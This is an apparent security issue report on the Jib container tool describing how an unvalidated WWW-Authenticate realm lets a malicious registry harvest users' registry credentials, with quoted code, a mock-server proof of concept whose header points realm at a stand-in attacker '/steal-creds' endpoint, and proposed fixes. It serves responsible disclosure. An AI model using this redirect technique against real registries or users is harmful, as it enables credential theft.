#4523·jib

Unvalidated WWW-Authenticate realm allows registry credential exfiltration to attacker-controlled host (CWE-918 SSRF)

Author: Dreamweaver156191Created Jul 19, 2026Updated Aug 14, 2026
Labelspriority: p3

Summary

RegistryAuthenticator.fromAuthenticationMethod() parses the realm value directly out of a registry's WWW-Authenticate response header with no validation of its host, then Jib sends the configured registry credentials (Basic auth or OAuth2 refresh token) to that URL:

java
Pattern realmPattern = Pattern.compile("realm=\"(.*?)\"");
...
String realm = realmMatcher.group(1);
java
URL getAuthenticationUrl(...) {
  return isOAuth2Auth(credential) ? new URL(realm) : new URL(realm + "?" + ...);
}

Since realm is fully attacker-controlled, a malicious or compromised registry can point it at an attacker-controlled HTTPS endpoint and receive the developer's real registry credentials. This fires on Jib's default, most common usage (any registry pull/push with credentials configured) — no special configuration needed.

Note: Jib's FailoverHttpClient already strips Authorization for plain-HTTP targets, which blocks the trivial plain-HTTP variant — but a realistic attacker just uses HTTPS (free to obtain), bypassing that safeguard entirely. Confirmed with a PoC: a plain-HTTP attacker endpoint received nothing, an HTTPS one received the full Basic-auth credentials.

Why this matters now — established CWE-918 pattern with 2026 precedent

This is the same root cause (CWE-918, SSRF via unvalidated URL from an upstream response) behind several 2026 CVEs in sibling tools:

  • CVE-2026-33540distribution/distribution (reference OCI registry impl), fixed by validating realm host matches the expected upstream host
  • CVE-2026-33990 — Google's own Docker Model Runner, identical pattern
  • CVE-2026-48978 (oras-go), CVE-2026-12566 (BBOT), CVE-2026-24845 (Malcontent)

Proof of Concept

Two local mock HTTPS servers (self-signed certs, loopback only):

  1. Mock registry → responds to any manifest request with 401 + WWW-Authenticate: Bearer realm="https://<attacker>/steal-creds",service="..."
  2. Mock attacker collector → logs the Authorization header of anything it receives
java
Jib.from(RegistryImage.named("<mock-registry>/fake/repo:latest")
        .addCredential(victimUser, victimPassword))
    .containerize(...)

Result: the attacker collector received Authorization: Basic <base64 of victimUser:victimPassword> — the real configured credential, sent to an unrelated host.

Why I'm opening an issue rather than a PR this time

Unlike the path-traversal fix (#4522), the correct remediation here is a real compatibility tradeoff, not a one-line guard: legitimate registries commonly use a different host for their token-issuing auth server than the registry itself (Docker Hub's registry-1.docker.io redirects to auth.docker.io). A blind "realm host must equal registry host" check — the fix distribution/distribution shipped for CVE-2026-33540 — risks breaking compatibility with real registries Jib supports today (this project's own issue history shows a lot of registry-specific auth handling — Azure ACR, OpenShift, Nexus, etc.).

Options worth your team's consideration, roughly in order of increasing compatibility risk:

  1. Reject non-HTTPS realms outright at the point of use (currently only the Authorization header gets cleared for plain HTTP; the request still fires).
  2. Compare realm's registrable domain (eTLD+1) against the registry's, allowing same-organization cross-subdomain realms (covers Docker Hub) while blocking unrelated domains.
  3. An opt-in strict/allowlist mode for users who know their registry's real auth topology in advance.

Happy to attempt a PR for whichever direction the maintainers think is right, or to help test compatibility against known registries if that's useful.

Source: GoogleContainerTools/jib